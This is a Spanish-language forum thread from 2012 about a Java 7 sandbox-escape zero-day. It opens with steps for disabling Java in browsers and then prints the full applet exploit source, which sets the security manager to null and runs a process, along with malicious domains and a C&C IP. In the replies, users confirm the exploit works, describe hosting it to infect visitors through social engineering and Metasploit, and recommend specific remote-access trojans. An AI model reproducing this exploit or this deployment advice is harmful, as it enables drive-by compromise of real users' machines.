Página 1 de 2
Grave vulnerabilidad en Java RE 1.7 (info / desact / PoC)
Publicado: 28 Ago 2012, 12:20
por osnaraus
Se ha descubierto una grave vulnerabilidad en Java Runtime Environment (JRE) versión 1.7 y posterior que permite a un atacante la ejecución de código remota en sistemas cliente que visiten una página web especialmente formada.
Si bien es algo a lo que estamos acostumbrados, tanto en aplicacipnes de Adobe, como también en este producto de Oracle, esta vez la gravedad recae en que se conocen demasiados detalles de la vulnerabilidad, se está utilizando de manera masiva, y parece ser que Oracle tardará unos días (ya demasiado tarde) en publicar un parche que corrija la vulnerabilidad.
Esta vez, la rama de JRE afectada corresponde con la 1.7, por lo que los usuarios de la versión 1.6 y anteriores no se encuentran afectados. Si bien en un primer momento se pensaba que únicamente eran vulnerables los sistemas Windows, desde Rapid7 han desarrollado ya un módulo para Metasploit (disponible en la última actualización del framework) cuyos payloads generados han funcionado en Mozilla Firefox sobre Ubuntu y Safari sobre OS X 10.7.4. Para conocer todos los detalles, si bien ya hay multitud de posts que realizan análisis, uno recomendado es el de DeepEnd Research, escrito por Andre' M. DiMino y Mila Parkour.
De momento, la única recomendación posible (y tajante como ella sola) es deshabilitar por completo Java de nuestros navegadores hasta nueva orden (hasta que Oracle nos deleite con un parche).
Vamos a dar un repaso por los navegadores más utilizados para saber cómo deshabilitar Java y poder así, navegar tranquilos sin permitir que millones de personas jueguen con nuestros PCs:
- Cómo deshabilitar Java de Internet Explorer
1) Menú de Herramientas (Tools) -> Opciones de Internet (Internet Options)
2) Pestaña Programas (Programs) -> Gestionar complementos (Manage Add-ons)
3) Seleccionar Java Plug-in y deshabilitar (disable)
4) Hacer clic en Aceptar (Ok), y de nuevo Aceptar (Ok)
- Cómo deshabilitar Java de Mozilla Firefox
1) Menú de Herramientas (Tools) -> Complementes (Add-ons)
2) Seleccionar el panel Plugins
3) Hacer clic en elementos cuyo nombre sea Java Plug-in o Java Applet Plug-in. Según el entorno, sistema operativo y versión, el complemento puede venir con un nombre u otro.
4) Hacer clic en el botón "Deshabilitar" (Disable)
- Cómo deshabilitar Java de Google Chrome
1) Accedemos al menú de plugins escribiendo "chrome://plugins/" en la barra de direcciones.
2) Buscar el complemento Java y hacer clic en "Deshabilitar"
- Cómo deshabilitar Java de Safari
1) Acceder a Preferencias -> Pestaña "Seguridad" (Security)
2) Desmarcar la opción "Habilitar Java"
Ahora, ya nos podemos sentir un poco más seguros, por lo menos hasta que se publique una actualización para esta vulnerabilidad.
Investigadores de seguridad de FireEye han informado de una nueva vulnerabilidad de día cero en Java que está siendo explotada activamente en Internet. Los runtime más recientes (JRE 1.7x) son también vulnerables.
Inicialmente, los investigadores descubrieron que este exploit estaba hospedado en ok.XXX4.net y actualmente este dominio está resolviendo una IP de China. La explotación de esta vulnerabilidad además descarga un ejecutable (Dropper.MsPMs) alojado en el mismo servidor
(h x x p :// ok . XXX 4. net/ meeting / hi. exe).
El dropper también conecta al C&C hello.icon.pk que actualmente resuelve con la IP 223.25.233.244 localizada en Singapur.
POC:
Se ha desarrollado un módulo de Metasploit : [Enlace externo eliminado para invitados]
que se ha probado con éxito en Windows 7 SP1 parcheado con Java 7 Update 6, y en los siguientes entornos:
Mozilla Firefox en Ubuntu Linux 10.04
Internet Explorer / Mozilla Firefox / Chrome en Windows XP
Internet Explorer / Mozilla Firefox en Windows Vista
Internet Explorer / Mozilla Firefox en Windows 7
Safari en OS X 10.7.4
Mostrar/Ocultar
Código: Seleccionar todo
//
// CVE-2012-XXXX Java 0day
//
// reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
//
// secret host / ip : ok.aa24.net / 59.120.154.62
//
// regurgitated by jduck
//
// probably a metasploit module soon...
//
package cve2012xxxx;
import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.*;
import java.security.cert.Certificate;
public class Gondvv extends Applet
{
public Gondvv()
{
}
public void disableSecurity()
throws Throwable
{
Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
Permissions localPermissions = new Permissions();
localPermissions.add(new AllPermission());
ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
localProtectionDomain
});
SetField(Statement.class, "acc", localStatement, localAccessControlContext);
localStatement.execute();
}
private Class GetClass(String paramString)
throws Throwable
{
Object arrayOfObject[] = new Object[1];
arrayOfObject[0] = paramString;
Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);
localExpression.execute();
return (Class)localExpression.getValue();
}
private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
throws Throwable
{
Object arrayOfObject[] = new Object[2];
arrayOfObject[0] = paramClass;
arrayOfObject[1] = paramString;
Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
localExpression.execute();
((Field)localExpression.getValue()).set(paramObject1, paramObject2);
}
public void init()
{
try
{
disableSecurity();
Process localProcess = null;
localProcess = Runtime.getRuntime().exec("calc.exe");
if(localProcess != null);
localProcess.waitFor();
}
catch(Throwable localThrowable)
{
localThrowable.printStackTrace();
}
}
public void paint(Graphics paramGraphics)
{
paramGraphics.drawString("Loading", 50, 25);
}
}
Fuente : SbD y HackPlayers
Re: Grave vulnerabilidad en Java RE 1.7 (info / desact / PoC
Publicado: 28 Ago 2012, 12:55
por phenix1408
Qué tal Osnaraus? Soy nuevo en el foro. Aprovecho para presentarme ahora. Soy ingeniero en informática y trabajo en desarrollo pero no en temas de seguridad. Esta rama es mi hobbie Le dedico el poco tiempo que me queda después del trabajo, los quehaceres diarios, la familia (soy padre desde hace 2 meses), el deporte,etc... Llevo tiempo leyendo blogs y estando al día, auque el foro este lo descubrí hace poco leyendo un libro de Antonio Ramos. La parte de troyanos, modders, crypters, binders,... la desconzoco por completo y lo que conozco es más obsoloto. La parte de seguridad web y todo este tipo de cosas la domino más, pero repito que esta rama la de la seguridad, no la trabajo día a día en el trabajo, aunque sí que llevo la seguridad de muchos servidores y está relacionado pero no la parte de exploiting ni de I+D.
Bien, finalizada mi presentación, me dispongo a preguntarte algo al respecto. Leyendo sobre esto y sobre el módulo de metasploit, entiendo que es un módulo para probar en la propia máquina local que tenga la vulnerabilidad. He leído que se están lanzando ataques masivos redirigiendo al cliente a una web que contiene el applet malicioso que instala una versión del troyano Poison Ivy que entiendo estará controlado por estos servidores de China y Singapur. Pero si alguien crease su propia página fake intentando aprovechar esta vulnerabilidad tendría que hostear el applet, el troyano y construirse su propio java_jr1... exe no? Si ahora rediriges un cliente a la URL maliciosa quedará infectado por el troyano en cuestión y controlado por los owners de servidores de China y Singapur.
Es decir, no es una vulnerabilidad de la que se pueda aprovechar cualquiera y menos con el módulo de metasploit, que entiendo es para pruebas de concepto en local. O se puede explotar remotamente con metasploit?
Gracias por tu tiempo y tu atención.
Un saludo
Re: Grave vulnerabilidad en Java RE 1.7 (info / desact / PoC
Publicado: 28 Ago 2012, 13:57
por osnaraus
No se man, yo lo probé en local (el modulo ruby) y funciona perfecto, voy a probar con algun hosting cuando tenga algo de tiempo (ahora estoy en el trabajo)
Saludos
Re: Grave vulnerabilidad en Java RE 1.7 (info / desact / PoC
Publicado: 28 Ago 2012, 15:36
por pasanomas
Parece que le estan metiendo con todo a esta vulnerabilidad ahi vi a unos amigos que lo andan usando.
Re: Grave vulnerabilidad en Java RE 1.7 (info / desact / PoC
Publicado: 28 Ago 2012, 17:14
por adwind
Probado he compilado el source y efectivamente bypass el sandbox.
Re: Grave vulnerabilidad en Java RE 1.7 (info / desact / PoC
Publicado: 28 Ago 2012, 20:47
por $DoC
Hola phenix1408,
¿Cual es ese libro de Antonio Ramos? xD
Te saco de dudas diciéndote que SI es una vulnerabilidad que puede usar cualquiera... Al menos cualquiera que sepa tratar con el exploit. Con una modificación y un html que ejecute al exploit, podrías acabar ejecutando un ejecutable sin tu consentimiento nada mas visitar una web :S, yo lo testee así junto con el amigo adwind y funciona en todos los navegadores actuales... Por algo se recomienda deshabilitar el plugin de java en los navegadores, por lo menos hasta que se haya corregido el fallo xD
Re: Grave vulnerabilidad en Java RE 1.7 (info / desact / PoC
Publicado: 28 Ago 2012, 20:50
por adwind
Abarcaria todos los sistemas operativos siempre y cuando tengan instalada esa versión.
Re: Grave vulnerabilidad en Java RE 1.7 (info / desact / PoC
Publicado: 28 Ago 2012, 22:52
por Dei007
Alguien puede hechar un poco de luz sobre el tema de como usarlo? No la tengo muy clara en java, el codigo posteado es el que habria que utilizar?(midificandole algunas cositas por lo que veo a simple vista, no?).
Saludos gente!
Re: Grave vulnerabilidad en Java RE 1.7 (info / desact / PoC
Publicado: 29 Ago 2012, 10:50
por phenix1408
Estimado Doc.
Primero de todo gracias por la respuesta.
Entiendo que conoces el libro por tu "xD" o que eres Antonio :)
Sé que el exploit lo puede usar cualquiera, pero obviamente cambiando el código haciendo referencia al ejecutable,compilándolo y subiendo a un hosting el html que ejecute el jar, el propio jar, y el exe, no?
Luego usando ing. social para redirigir a la víctima.
Mi pregunta era si se podía lanzar todo esto automatizado mediante el módulo de metasploit, pero también entiendo que no.
Por otro lado, el exe sería un troyano entiendo de conexión inversa. Yo de troyanos que es la especialidad de este foro no estoy muy puesto a día de hoy. Conzoco los conceptos, entiendo cómo funcionan e intuyo que a día de hoy sólo funcionarían troyanos de conexión inversa, no? Porque si no entiendo que la víctima tendría que tener firewall abierto y puerto redirigido para que el atacante pueda conectarse directamente. Cuales son los troyanos que siguen funcionando en la actualidad? En el foro he visto información de algunos pero creo que ya están obsoletos.
Gracias por la atención y por la respuesta.
Re: Grave vulnerabilidad en Java RE 1.7 (info / desact / PoC
Publicado: 29 Ago 2012, 14:16
por phenix1408
Dedicándole un poco más de tiempo y tal vi que en efecto, el módulo de metasploit permite lanzar ya un ataque automatizado
porque te monta él mismo el server en tu máquina y le puedes poner el payload que quieras.
Ya lo probé y funciona.
El tema sería luego qué se quiere ejecutar, una shell con meterpreter para subir luego el troyano entiendo..
Ahora bien, en el tema troyanos sí estoy verde.. qué es lo que se utiliza hoy día?
Gracias.
Re: Grave vulnerabilidad en Java RE 1.7 (info / desact / PoC
Publicado: 29 Ago 2012, 17:29
por $DoC
No amigo, el 'xD' es sólo por que tengo cuiosidad por saber que puso Antonio Ramos en el libro, y de paso leerlo. Mi nombre no es Antonio jeje.
Y si, tienes razón con lo que dices. No he testeado en metasploit pero lo que hará será automatizar la tarea para usar el exploit configurando LHOST y LPORT y levantando el servidor web para que cuando la victima visite el link caiga infectada. Este exploit no puede usarse si no es de esta forma.
Hoy en día podrías utilizar varios troyanos como; Cybergate RAT, Xtreme RAT, Bshades RAT, o por que no, el de la casa... Coolvibes RAT.
Un saludo.
Re: Grave vulnerabilidad en Java RE 1.7 (info / desact / PoC
Publicado: 30 Ago 2012, 10:02
por phenix1408
Pues nada, el libro es "Hacking y Seguridad en Internet", que es una edicioń más nueva de "La biblia del hacker" 2006 creo que era.. era una buena referencia de que herramientas para camular exe como "Vodka Downloader" (que entiendo que es viejo y tal) se podían encontrar en el portal.
Yo llevo varios años leyendo el blog de Chema ALonso, Conexión inversa, security by default, y algunos que otros más y no conocía de la existencia de este portal de sabiduría.
La verdad que está muy currado y hay información de todo.
Mi más sincera enhorabuena a las mentes brillantes del foro y a quienes lo mantienen.
Un saludo.
Re: Grave vulnerabilidad en Java RE 1.7 (info / desact / PoC
Publicado: 30 Ago 2012, 10:20
por phenix1408
Cual es el hilo del foro donde puedo conseguir la última versión de alguno que ellos y pueda
estar seguro de que no me la están colando con un server? A colación de esta primera pregunta, la siguiente. Qué software se suele utilizar para analizar ficheros y saber que no son servers?
Porque si te bajas incluso el generador del server o el cliente, el anti-malware te lo va a detectar. Entonces pasarás de él porque querrás abrirlo para generar tu propio server.
No sé si me explico. He visto en un hilo de herramientas fundamentales los analizadores de ejecutables pero no me los he bajado porque entiendo que hay que conocer conceptos acercad e su utilización, no?
Gracias.
Re: Grave vulnerabilidad en Java RE 1.7 (info / desact / PoC
Publicado: 30 Ago 2012, 12:38
por valium7
probe el modul de metasploit y da erro r en el subsistema de 16 o no se que gilipollez
Re: Grave vulnerabilidad en Java RE 1.7 (info / desact / PoC
Publicado: 30 Ago 2012, 23:37
por valium7
Ya salió una update 7 de java menuda mierda aparte de que no infectas a casi nadie con el exploit
ya que es la 6 la que tiene el exploit parece xD